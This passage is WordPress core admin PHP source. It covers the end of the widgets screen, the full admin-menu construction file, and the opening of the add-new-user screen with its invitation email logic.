					array( 'autofocus' => array( 'panel' => 'widgets' ) ),
					'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ),
				),
				admin_url( 'customize.php' )
			)
		),
		__( 'Manage with Live Preview' )
	);
}

$nonce = wp_create_nonce( 'widgets-access' );
?>
<div class="widget-access-link">
	<a id="access-on" href="widgets.php?widgets-access=on&_wpnonce=<?php echo urlencode( $nonce ); ?>"><?php _e( 'Enable accessibility mode' ); ?></a><a id="access-off" href="widgets.php?widgets-access=off&_wpnonce=<?php echo urlencode( $nonce ); ?>"><?php _e( 'Disable accessibility mode' ); ?></a>
</div>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ) {
	wp_admin_notice(
		$messages[ $_GET['message'] ],
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}
if ( isset( $_GET['error'] ) && isset( $errors[ $_GET['error'] ] ) ) {
	wp_admin_notice(
		$errors[ $_GET['error'] ],
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'error' ),
			'dismissible'        => true,
		)
	);
}

/**
 * Fires before the Widgets administration page content loads.
 *
 * @since 3.0.0
 */
do_action( 'widgets_admin_page' );
?>

<div class="widget-liquid-left">
<div id="widgets-left">
	<div id="available-widgets" class="widgets-holder-wrap">
		<div class="sidebar-name">
			<button type="button" class="handlediv hide-if-no-js" aria-expanded="true">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Available Widgets' );
					?>
				</span>
				<span class="toggle-indicator" aria-hidden="true"></span>
			</button>
			<h2><?php _e( 'Available Widgets' ); ?> <span id="removing-widget"><?php _ex( 'Deactivate', 'removing-widget' ); ?> <span></span></span></h2>
		</div>
		<div class="widget-holder">
			<div class="sidebar-description">
				<p class="description"><?php _e( 'To activate a widget drag it to a sidebar or click on it. To deactivate a widget and delete its settings, drag it back.' ); ?></p>
			</div>
			<div id="widget-list">
				<?php wp_list_widgets(); ?>
			</div>
			<br class='clear' />
		</div>
		<br class="clear" />
	</div>

<?php

$theme_sidebars = array();
foreach ( $wp_registered_sidebars as $sidebar => $registered_sidebar ) {
	if ( str_contains( $registered_sidebar['class'], 'inactive-sidebar' ) || str_starts_with( $sidebar, 'orphaned_widgets' ) ) {
		$wrap_class = 'widgets-holder-wrap';
		if ( ! empty( $registered_sidebar['class'] ) ) {
			$wrap_class .= ' ' . $registered_sidebar['class'];
		}

		$is_inactive_widgets = 'wp_inactive_widgets' === $registered_sidebar['id'];
		?>
		<div class="<?php echo esc_attr( $wrap_class ); ?>">
			<div class="widget-holder inactive">
				<?php wp_list_widget_controls( $registered_sidebar['id'], $registered_sidebar['name'] ); ?>

				<?php if ( $is_inactive_widgets ) { ?>
				<div class="remove-inactive-widgets">
					<form method="post">
						<p>
							<?php
							$attributes = array( 'id' => 'inactive-widgets-control-remove' );

							if ( empty( $sidebars_widgets['wp_inactive_widgets'] ) ) {
								$attributes['disabled'] = '';
							}

							submit_button( __( 'Clear Inactive Widgets' ), 'delete', 'removeinactivewidgets', false, $attributes );
							?>
							<span class="spinner"></span>
						</p>
						<?php wp_nonce_field( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' ); ?>
					</form>
				</div>
				<?php } ?>
			</div>
			<?php if ( $is_inactive_widgets ) { ?>
			<p class="description"><?php _e( 'This will clear all items from the inactive widgets list. You will not be able to restore any customizations.' ); ?></p>
			<?php } ?>
		</div>
		<?php

	} else {
		$theme_sidebars[ $sidebar ] = $registered_sidebar;
	}
}

?>
</div>
</div>
<?php

$i                    = 0;
$split                = 0;
$single_sidebar_class = '';
$sidebars_count       = count( $theme_sidebars );

if ( $sidebars_count > 1 ) {
	$split = (int) ceil( $sidebars_count / 2 );
} else {
	$single_sidebar_class = ' single-sidebar';
}

?>
<div class="widget-liquid-right">
<div id="widgets-right" class="wp-clearfix<?php echo $single_sidebar_class; ?>">
<div class="sidebars-column-1">
<?php

foreach ( $theme_sidebars as $sidebar => $registered_sidebar ) {
	$wrap_class = 'widgets-holder-wrap';
	if ( ! empty( $registered_sidebar['class'] ) ) {
		$wrap_class .= ' sidebar-' . $registered_sidebar['class'];
	}

	if ( $i > 0 ) {
		$wrap_class .= ' closed';
	}

	if ( $split && $i === $split ) {
		?>
		</div><div class="sidebars-column-2">
		<?php
	}

	?>
	<div class="<?php echo esc_attr( $wrap_class ); ?>">
		<?php
		// Show the control forms for each of the widgets in this sidebar.
		wp_list_widget_controls( $sidebar, $registered_sidebar['name'] );
		?>
	</div>
	<?php

	++$i;
}

?>
</div>
</div>
</div>
<form method="post">
<?php wp_nonce_field( 'save-sidebar-widgets', '_wpnonce_widgets', false ); ?>
</form>
<br class="clear" />
</div>

<div class="widgets-chooser">
	<ul class="widgets-chooser-sidebars"></ul>
	<div class="widgets-chooser-actions">
		<button class="button widgets-chooser-cancel"><?php _e( 'Cancel' ); ?></button>
		<button class="button button-primary widgets-chooser-add"><?php _e( 'Add Widget' ); ?></button>
	</div>
</div>

<?php

/**
 * Fires after the available widgets and sidebars have loaded, before the admin footer.
 *
 * @since 2.2.0
 */
do_action( 'sidebar_admin_page' );
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Build Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Constructs the admin menu.
 *
 * The elements in the array are:
 *     0: Menu item name.
 *     1: Minimum level or capability required.
 *     2: The URL of the item's file.
 *     3: Page title.
 *     4: Classes.
 *     5: ID.
 *     6: Icon for top level menu.
 *
 * @global array $menu
 */

$menu[2] = array( __( 'Dashboard' ), 'read', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( is_multisite() ) {
	$submenu['index.php'][5] = array( __( 'My Sites' ), 'read', 'my-sites.php' );
}

if ( ! is_multisite() || current_user_can( 'update_core' ) ) {
	$update_data = wp_get_update_data();
}

if ( ! is_multisite() ) {
	if ( current_user_can( 'update_core' ) ) {
		$cap = 'update_core';
	} elseif ( current_user_can( 'update_plugins' ) ) {
		$cap = 'update_plugins';
	} elseif ( current_user_can( 'update_themes' ) ) {
		$cap = 'update_themes';
	} else {
		$cap = 'update_languages';
	}
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of pending updates. */
			__( 'Updates %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
	unset( $cap );
}

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

// $menu[5] = Posts.

$menu[10]                      = array( __( 'Media' ), 'upload_files', 'upload.php', '', 'menu-top menu-icon-media', 'menu-media', 'dashicons-admin-media' );
	$submenu['upload.php'][5]  = array( __( 'Library' ), 'upload_files', 'upload.php' );
	$submenu['upload.php'][10] = array( __( 'Add New Media File' ), 'upload_files', 'media-new.php' );
	$i                         = 15;
foreach ( get_taxonomies_for_attachments( 'objects' ) as $tax ) {
	if ( ! $tax->show_ui || ! $tax->show_in_menu ) {
		continue;
	}

	$submenu['upload.php'][ $i++ ] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, 'edit-tags.php?taxonomy=' . $tax->name . '&amp;post_type=attachment' );
}
	unset( $tax, $i );

$menu[15]                            = array( __( 'Links' ), 'manage_links', 'link-manager.php', '', 'menu-top menu-icon-links', 'menu-links', 'dashicons-admin-links' );
	$submenu['link-manager.php'][5]  = array( _x( 'All Links', 'admin menu' ), 'manage_links', 'link-manager.php' );
	$submenu['link-manager.php'][10] = array( __( 'Add New Link' ), 'manage_links', 'link-add.php' );
	$submenu['link-manager.php'][15] = array( __( 'Link Categories' ), 'manage_categories', 'edit-tags.php?taxonomy=link_category' );

// $menu[20] = Pages.

// Avoid the comment count query for users who cannot edit_posts.
if ( current_user_can( 'edit_posts' ) ) {
	$awaiting_mod      = wp_count_comments();
	$awaiting_mod      = $awaiting_mod->moderated;
	$awaiting_mod_i18n = number_format_i18n( $awaiting_mod );
	/* translators: %s: Number of comments. */
	$awaiting_mod_text = sprintf( _n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_mod ), $awaiting_mod_i18n );

	$menu[25] = array(
		/* translators: %s: Number of comments. */
		sprintf( __( 'Comments %s' ), '<span class="awaiting-mod count-' . absint( $awaiting_mod ) . '"><span class="pending-count" aria-hidden="true">' . $awaiting_mod_i18n . '</span><span class="comments-in-moderation-text screen-reader-text">' . $awaiting_mod_text . '</span></span>' ),
		'edit_posts',
		'edit-comments.php',
		'',
		'menu-top menu-icon-comments',
		'menu-comments',
		'dashicons-admin-comments',
	);
	unset( $awaiting_mod );
}

$submenu['edit-comments.php'][0] = array( __( 'All Comments' ), 'edit_posts', 'edit-comments.php' );

$_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group.

$types   = (array) get_post_types(
	array(
		'show_ui'      => true,
		'_builtin'     => false,
		'show_in_menu' => true,
	)
);
$builtin = array( 'post', 'page' );
foreach ( array_merge( $builtin, $types ) as $ptype ) {
	$ptype_obj = get_post_type_object( $ptype );
	// Check if it should be a submenu.
	if ( true !== $ptype_obj->show_in_menu ) {
		continue;
	}
	$ptype_menu_position = is_int( $ptype_obj->menu_position ) ? $ptype_obj->menu_position : ++$_wp_last_object_menu; // If we're to use $_wp_last_object_menu, increment it first.
	$ptype_for_id        = sanitize_html_class( $ptype );

	$menu_icon = 'dashicons-admin-post';
	if ( is_string( $ptype_obj->menu_icon ) ) {
		// Special handling for an empty div.wp-menu-image, data:image/svg+xml, and Dashicons.
		if ( 'none' === $ptype_obj->menu_icon || 'div' === $ptype_obj->menu_icon
			|| str_starts_with( $ptype_obj->menu_icon, 'data:image/svg+xml;base64,' )
			|| str_starts_with( $ptype_obj->menu_icon, 'dashicons-' )
		) {
			$menu_icon = $ptype_obj->menu_icon;
		} else {
			$menu_icon = esc_url( $ptype_obj->menu_icon );
		}
	} elseif ( in_array( $ptype, $builtin, true ) ) {
		$menu_icon = 'dashicons-admin-' . $ptype;
	}

	$menu_class = 'menu-top menu-icon-' . $ptype_for_id;
	// 'post' special case.
	if ( 'post' === $ptype ) {
		$menu_class    .= ' open-if-no-js';
		$ptype_file     = 'edit.php';
		$post_new_file  = 'post-new.php';
		$edit_tags_file = 'edit-tags.php?taxonomy=%s';
	} else {
		$ptype_file     = "edit.php?post_type=$ptype";
		$post_new_file  = "post-new.php?post_type=$ptype";
		$edit_tags_file = "edit-tags.php?taxonomy=%s&amp;post_type=$ptype";
	}

	if ( in_array( $ptype, $builtin, true ) ) {
		$ptype_menu_id = 'menu-' . $ptype_for_id . 's';
	} else {
		$ptype_menu_id = 'menu-posts-' . $ptype_for_id;
	}
	/*
	 * If $ptype_menu_position is already populated or will be populated
	 * by a hard-coded value below, increment the position.
	 */
	$core_menu_positions = array( 59, 60, 65, 70, 75, 80, 85, 99 );
	while ( isset( $menu[ $ptype_menu_position ] ) || in_array( $ptype_menu_position, $core_menu_positions, true ) ) {
		++$ptype_menu_position;
	}

	$menu[ $ptype_menu_position ] = array( esc_attr( $ptype_obj->labels->menu_name ), $ptype_obj->cap->edit_posts, $ptype_file, '', $menu_class, $ptype_menu_id, $menu_icon );
	$submenu[ $ptype_file ][5]    = array( $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, $ptype_file );
	$submenu[ $ptype_file ][10]   = array( $ptype_obj->labels->add_new, $ptype_obj->cap->create_posts, $post_new_file );

	$i = 15;
	foreach ( get_taxonomies( array(), 'objects' ) as $tax ) {
		if ( ! $tax->show_ui || ! $tax->show_in_menu || ! in_array( $ptype, (array) $tax->object_type, true ) ) {
			continue;
		}

		$submenu[ $ptype_file ][ $i++ ] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, sprintf( $edit_tags_file, $tax->name ) );
	}
}
unset( $ptype, $ptype_obj, $ptype_for_id, $ptype_menu_position, $menu_icon, $i, $tax, $post_new_file );

$menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' );

$appearance_cap = current_user_can( 'switch_themes' ) ? 'switch_themes' : 'edit_theme_options';

$menu[60] = array( __( 'Appearance' ), $appearance_cap, 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );

$count = '';
if ( ! is_multisite() && current_user_can( 'update_themes' ) ) {
	if ( ! isset( $update_data ) ) {
		$update_data = wp_get_update_data();
	}
	$count = sprintf(
		'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
		$update_data['counts']['themes'],
		number_format_i18n( $update_data['counts']['themes'] )
	);
}

	/* translators: %s: Number of available theme updates. */
	$submenu['themes.php'][5] = array( sprintf( __( 'Themes %s' ), $count ), $appearance_cap, 'themes.php' );

if ( wp_is_block_theme() ) {
	$submenu['themes.php'][6] = array( _x( 'Editor', 'site editor menu item' ), 'edit_theme_options', 'site-editor.php' );
} else {
	$submenu['themes.php'][6] = array( _x( 'Patterns', 'patterns menu item' ), 'edit_theme_options', 'edit.php?post_type=wp_block' );
}

if ( ! wp_is_block_theme() && current_theme_supports( 'block-template-parts' ) ) {
	$submenu['themes.php'][7] = array(
		__( 'Template Parts' ),
		'edit_theme_options',
		'site-editor.php?path=/wp_template_part/all',
	);
}

$customize_url = add_query_arg( 'return', urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), 'customize.php' );

// Hide Customize link on block themes unless a plugin or theme
// is using 'customize_register' to add a setting.
if ( ! wp_is_block_theme() || has_action( 'customize_register' ) ) {
	$position = ! wp_is_block_theme() && current_theme_supports( 'block-template-parts' ) ? 8 : 7;

	$submenu['themes.php'][ $position ] = array( __( 'Customize' ), 'customize', esc_url( $customize_url ), '', 'hide-if-no-customize' );
}

if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) {
	$submenu['themes.php'][10] = array( __( 'Menus' ), 'edit_theme_options', 'nav-menus.php' );
}

if ( current_theme_supports( 'custom-header' ) && current_user_can( 'customize' ) ) {
	$customize_header_url      = add_query_arg( array( 'autofocus' => array( 'control' => 'header_image' ) ), $customize_url );
	$submenu['themes.php'][15] = array( _x( 'Header', 'custom image header' ), $appearance_cap, esc_url( $customize_header_url ), '', 'hide-if-no-customize' );
}

if ( current_theme_supports( 'custom-background' ) && current_user_can( 'customize' ) ) {
	$customize_background_url  = add_query_arg( array( 'autofocus' => array( 'control' => 'background_image' ) ), $customize_url );
	$submenu['themes.php'][20] = array( _x( 'Background', 'custom background' ), $appearance_cap, esc_url( $customize_background_url ), '', 'hide-if-no-customize' );
}

unset( $customize_url );

unset( $appearance_cap );

// Add 'Theme File Editor' to the bottom of the Appearance (non-block themes) or Tools (block themes) menu.
if ( ! is_multisite() ) {
	// Must use API on the admin_menu hook, direct modification is only possible on/before the _admin_menu hook.
	add_action( 'admin_menu', '_add_themes_utility_last', 101 );
}
/**
 * Adds the 'Theme File Editor' menu item to the bottom of the Appearance (non-block themes)
 * or Tools (block themes) menu.
 *
 * @access private
 * @since 3.0.0
 * @since 5.9.0 Renamed 'Theme Editor' to 'Theme File Editor'.
 *              Relocates to Tools for block themes.
 */
function _add_themes_utility_last() {
	add_submenu_page(
		wp_is_block_theme() ? 'tools.php' : 'themes.php',
		__( 'Theme File Editor' ),
		__( 'Theme File Editor' ),
		'edit_themes',
		'theme-editor.php'
	);
}

/**
 * Adds the 'Plugin File Editor' menu item after the 'Themes File Editor' in Tools
 * for block themes.
 *
 * @access private
 * @since 5.9.0
 */
function _add_plugin_file_editor_to_tools() {
	if ( ! wp_is_block_theme() ) {
		return;
	}
	add_submenu_page(
		'tools.php',
		__( 'Plugin File Editor' ),
		__( 'Plugin File Editor' ),
		'edit_plugins',
		'plugin-editor.php'
	);
}

$count = '';
if ( ! is_multisite() && current_user_can( 'update_plugins' ) ) {
	if ( ! isset( $update_data ) ) {
		$update_data = wp_get_update_data();
	}
	$count = sprintf(
		'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
		$update_data['counts']['plugins'],
		number_format_i18n( $update_data['counts']['plugins'] )
	);
}

/* translators: %s: Number of available plugin updates. */
$menu[65] = array( sprintf( __( 'Plugins %s' ), $count ), 'activate_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );

$submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'activate_plugins', 'plugins.php' );

if ( ! is_multisite() ) {
	$submenu['plugins.php'][10] = array( __( 'Add New Plugin' ), 'install_plugins', 'plugin-install.php' );
	if ( wp_is_block_theme() ) {
		// Place the menu item below the Theme File Editor menu item.
		add_action( 'admin_menu', '_add_plugin_file_editor_to_tools', 101 );
	} else {
		$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );
	}
}

unset( $update_data );

if ( current_user_can( 'list_users' ) ) {
	$menu[70] = array( __( 'Users' ), 'list_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
} else {
	$menu[70] = array( __( 'Profile' ), 'read', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
}

if ( current_user_can( 'list_users' ) ) {
	$_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php.
	$submenu['users.php'][5]             = array( __( 'All Users' ), 'list_users', 'users.php' );
	if ( current_user_can( 'create_users' ) ) {
		$submenu['users.php'][10] = array( __( 'Add New User' ), 'create_users', 'user-new.php' );
	} elseif ( is_multisite() ) {
		$submenu['users.php'][10] = array( __( 'Add New User' ), 'promote_users', 'user-new.php' );
	}

	$submenu['users.php'][15] = array( __( 'Profile' ), 'read', 'profile.php' );
} else {
	$_wp_real_parent_file['users.php'] = 'profile.php';
	$submenu['profile.php'][5]         = array( __( 'Profile' ), 'read', 'profile.php' );
	if ( current_user_can( 'create_users' ) ) {
		$submenu['profile.php'][10] = array( __( 'Add New User' ), 'create_users', 'user-new.php' );
	} elseif ( is_multisite() ) {
		$submenu['profile.php'][10] = array( __( 'Add New User' ), 'promote_users', 'user-new.php' );
	}
}

$site_health_count = '';
if ( ! is_multisite() && current_user_can( 'view_site_health_checks' ) ) {
	$get_issues = get_transient( 'health-check-site-status-result' );

	$issue_counts = array();

	if ( false !== $get_issues ) {
		$issue_counts = json_decode( $get_issues, true );
	}

	if ( ! is_array( $issue_counts ) || ! $issue_counts ) {
		$issue_counts = array(
			'good'        => 0,
			'recommended' => 0,
			'critical'    => 0,
		);
	}

	$site_health_count = sprintf(
		'<span class="menu-counter site-health-counter count-%s"><span class="count">%s</span></span>',
		$issue_counts['critical'],
		number_format_i18n( $issue_counts['critical'] )
	);
}

$menu[75]                     = array( __( 'Tools' ), 'edit_posts', 'tools.php', '', 'menu-top menu-icon-tools', 'menu-tools', 'dashicons-admin-tools' );
	$submenu['tools.php'][5]  = array( __( 'Available Tools' ), 'edit_posts', 'tools.php' );
	$submenu['tools.php'][10] = array( __( 'Import' ), 'import', 'import.php' );
	$submenu['tools.php'][15] = array( __( 'Export' ), 'export', 'export.php' );
	/* translators: %s: Number of critical Site Health checks. */
	$submenu['tools.php'][20] = array( sprintf( __( 'Site Health %s' ), $site_health_count ), 'view_site_health_checks', 'site-health.php' );
	$submenu['tools.php'][25] = array( __( 'Export Personal Data' ), 'export_others_personal_data', 'export-personal-data.php' );
	$submenu['tools.php'][30] = array( __( 'Erase Personal Data' ), 'erase_others_personal_data', 'erase-personal-data.php' );
if ( is_multisite() && ! is_main_site() ) {
	$submenu['tools.php'][35] = array( __( 'Delete Site' ), 'delete_site', 'ms-delete-site.php' );
}
if ( ! is_multisite() && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['tools.php'][50] = array( __( 'Network Setup' ), 'setup_network', 'network.php' );
}

$menu[80]                               = array( __( 'Settings' ), 'manage_options', 'options-general.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
	$submenu['options-general.php'][10] = array( _x( 'General', 'settings screen' ), 'manage_options', 'options-general.php' );
	$submenu['options-general.php'][15] = array( __( 'Writing' ), 'manage_options', 'options-writing.php' );
	$submenu['options-general.php'][20] = array( __( 'Reading' ), 'manage_options', 'options-reading.php' );
	$submenu['options-general.php'][25] = array( __( 'Discussion' ), 'manage_options', 'options-discussion.php' );
	$submenu['options-general.php'][30] = array( __( 'Media' ), 'manage_options', 'options-media.php' );
	$submenu['options-general.php'][40] = array( __( 'Permalinks' ), 'manage_options', 'options-permalink.php' );
	$submenu['options-general.php'][45] = array( __( 'Privacy' ), 'manage_privacy_options', 'options-privacy.php' );

$_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group.

$menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator' );

// Back-compat for old top-levels.
$_wp_real_parent_file['post.php']       = 'edit.php';
$_wp_real_parent_file['post-new.php']   = 'edit.php';
$_wp_real_parent_file['edit-pages.php'] = 'edit.php?post_type=page';
$_wp_real_parent_file['page-new.php']   = 'edit.php?post_type=page';
$_wp_real_parent_file['wpmu-admin.php'] = 'tools.php';
$_wp_real_parent_file['ms-admin.php']   = 'tools.php';

// Ensure backward compatibility.
$compat = array(
	'index'           => 'dashboard',
	'edit'            => 'posts',
	'post'            => 'posts',
	'upload'          => 'media',
	'link-manager'    => 'links',
	'edit-pages'      => 'pages',
	'page'            => 'pages',
	'edit-comments'   => 'comments',
	'options-general' => 'settings',
	'themes'          => 'appearance',
);

require_once ABSPATH . 'wp-admin/includes/menu.php';
<?php
/**
 * New User Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( is_multisite() ) {
	if ( ! current_user_can( 'create_users' ) && ! current_user_can( 'promote_users' ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to add users to this network.' ) . '</p>',
			403
		);
	}
} elseif ( ! current_user_can( 'create_users' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to create users.' ) . '</p>',
		403
	);
}

if ( is_multisite() ) {
	add_filter( 'wpmu_signup_user_notification_email', 'admin_created_user_email' );
}

if ( isset( $_REQUEST['action'] ) && 'adduser' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	$user_details = null;
	$user_email   = wp_unslash( $_REQUEST['email'] );
	if ( str_contains( $user_email, '@' ) ) {
		$user_details = get_user_by( 'email', $user_email );
	} else {
		if ( current_user_can( 'manage_network_users' ) ) {
			$user_details = get_user_by( 'login', $user_email );
		} else {
			wp_redirect( add_query_arg( array( 'update' => 'enter_email' ), 'user-new.php' ) );
			die();
		}
	}

	if ( ! $user_details ) {
		wp_redirect( add_query_arg( array( 'update' => 'does_not_exist' ), 'user-new.php' ) );
		die();
	}

	if ( ! current_user_can( 'promote_user', $user_details->ID ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to add users to this network.' ) . '</p>',
			403
		);
	}

	// Adding an existing user to this blog.
	$new_user_email = array();
	$redirect       = 'user-new.php';
	$username       = $user_details->user_login;
	$user_id        = $user_details->ID;
	if ( null != $username && array_key_exists( $blog_id, get_blogs_of_user( $user_id ) ) ) {
		$redirect = add_query_arg( array( 'update' => 'addexisting' ), 'user-new.php' );
	} else {
		if ( isset( $_POST['noconfirmation'] ) && current_user_can( 'manage_network_users' ) ) {
			$result = add_existing_user_to_blog(
				array(
					'user_id' => $user_id,
					'role'    => $_REQUEST['role'],
				)
			);

			if ( ! is_wp_error( $result ) ) {
				$redirect = add_query_arg(
					array(
						'update'  => 'addnoconfirmation',
						'user_id' => $user_id,
					),
					'user-new.php'
				);
			} else {
				$redirect = add_query_arg( array( 'update' => 'could_not_add' ), 'user-new.php' );
			}
		} else {
			$newuser_key = wp_generate_password( 20, false );
			add_option(
				'new_user_' . $newuser_key,
				array(
					'user_id' => $user_id,
					'email'   => $user_details->user_email,
					'role'    => $_REQUEST['role'],
				)
			);

			$roles = get_editable_roles();
			$role  = $roles[ $_REQUEST['role'] ];

			/**
			 * Fires immediately after an existing user is invited to join the site, but before the notification is sent.
			 *
			 * @since 4.4.0
			 *
			 * @param int    $user_id     The invited user's ID.
			 * @param array  $role        Array containing role information for the invited user.
			 * @param string $newuser_key The key of the invitation.
			 */
			do_action( 'invite_user', $user_id, $role, $newuser_key );

			$switched_locale = switch_to_user_locale( $user_id );

			if ( '' !== get_option( 'blogname' ) ) {
				$site_title = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
			} else {
				$site_title = parse_url( home_url(), PHP_URL_HOST );
			}

			/* translators: 1: Site title, 2: Site URL, 3: User role, 4: Activation URL. */
			$message = __(
				'Hi,

You\'ve been invited to join \'%1$s\' at
%2$s with the role of %3$s.

Please click the following link to confirm the invite:
%4$s'
			);

			$new_user_email['to']      = $user_details->user_email;
			$new_user_email['subject'] = sprintf(
				/* translators: Joining confirmation notification email subject. %s: Site title. */
				__( '[%s] Joining Confirmation' ),
				$site_title
			);
			$new_user_email['message'] = sprintf(
				$message,
				get_option( 'blogname' ),
				home_url(),
				wp_specialchars_decode( translate_user_role( $role['name'] ) ),
				home_url( "/newbloguser/$newuser_key/" )
			);
			$new_user_email['headers'] = '';

			/**
			 * Filters the contents of the email sent when an existing user is invited to join the site.
			 *
			 * @since 5.6.0
			 *
			 * @param array $new_user_email {
			 *     Used to build wp_mail().
			 *
			 *     @type string $to      The email address of the invited user.
			 *     @type string $subject The subject of the email.
			 *     @type string $message The content of the email.
			 *     @type string $headers Headers.
			 * }
			 * @param int    $user_id     The invited user's ID.
			 * @param array  $role        Array containing role information for the invited user.
			 * @param string $newuser_key The key of the invitation.
			 *
			 */
			$new_user_email = apply_filters( 'invited_user_email', $new_user_email, $user_id, $role, $newuser_key );

			wp_mail(
				$new_user_email['to'],
				$new_user_email['subject'],
				$new_user_email['message'],
				$new_user_email['headers']
			);

			if ( $switched_locale ) {
				restore_previous_locale();
			}

			$redirect = add_query_arg( array( 'update' => 'add' ), 'user-new.php' );
		}
	}
	wp_redirect( $redirect );
	die();
} elseif ( isset( $_REQUEST['action'] ) && 'createuser' === $_REQUEST['action'] ) {
	check_admin_referer( 'create-user', '_wpnonce_create-user' );

	if ( ! current_user_can( 'create_users' ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to create users.' ) . '</p>',
			403
		);
	}

	if ( ! is_multisite() ) {
		$user_id = edit_user();

		if ( is_wp_error( $user_id ) ) {
			$add_user_errors = $user_id;
		} else {
			if ( current_user_can( 'list_users' ) ) {
				$redirect = 'users.php?update=add&id=' . $user_id;
			} else {
				$redirect = add_query_arg( 'update', 'add', 'user-new.php' );
			}
			wp_redirect( $redirect );
			die();
		}
	} else {
		// Adding a new user to this site.
		$new_user_email = wp_unslash( $_REQUEST['email'] );
		$user_details   = wpmu_validate_user_signup( $_REQUEST['user_login'], $new_user_email );
		if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
			$add_user_errors = $user_details['errors'];
		} else {
			/** This filter is documented in wp-includes/user.php */
			$new_user_login = apply_filters( 'pre_user_login', sanitize_user( wp_unslash( $_REQUEST['user_login'] ), true ) );
			if ( isset( $_POST['noconfirmation'] ) && current_user_can( 'manage_network_users' ) ) {
				add_filter( 'wpmu_signup_user_notification', '__return_false' );  // Disable confirmation email.
				add_filter( 'wpmu_welcome_user_notification', '__return_false' ); // Disable welcome email.
			}
			wpmu_signup_user(
				$new_user_login,
				$new_user_email,
				array(
					'add_to_blog' => get_current_blog_id(),
					'new_role'    => $_REQUEST['role'],
				)
			);
			if ( isset( $_POST['noconfirmation'] ) && current_user_can( 'manage_network_users' ) ) {
				$key      = $wpdb->get_var( $wpdb->prepare( "SELECT activation_key FROM {$wpdb->signups} WHERE user_login = %s AND user_email = %s", $new_user_login, $new_user_email ) );
				$new_user = wpmu_activate_signup( $key );
				if ( is_wp_error( $new_user ) ) {
					$redirect = add_query_arg( array( 'update' => 'addnoconfirmation' ), 'user-new.php' );
				} elseif ( ! is_user_member_of_blog( $new_user['user_id'] ) ) {
					$redirect = add_query_arg( array( 'update' => 'created_could_not_add' ), 'user-new.php' );
				} else {
					$redirect = add_query_arg(
						array(
							'update'  => 'addnoconfirmation',
							'user_id' => $new_user['user_id'],
						),
						'user-new.php'
					);
				}
			} else {
				$redirect = add_query_arg( array( 'update' => 'newuserconfirmation' ), 'user-new.php' );
			}
			wp_redirect( $redirect );
			die();
		}
	}
}

// Used in the HTML title tag.
$title       = __( 'Add New User' );
$parent_file = 'users.php';

$do_both = false;
if ( is_multisite() && current_user_can( 'promote_users' ) && current_user_can( 'create_users' ) ) {
	$do_both = true;
}

$help = '<p>' . __( 'To add a new user to your site, fill in the form on this screen and click the Add New User button at the bottom.' ) . '</p>';

if ( is_multisite() ) {
	$help .= '<p>' . __( 'Because this is a multisite installation, you may add accounts that already exist on the Network by specifying a username or email, and defining a role. For more options, such as specifying a password, you have to be a Network Administrator and use the hover link under an existing user&#8217;s name to Edit the user profile under Network Admin > All Users.' ) . '</p>' .
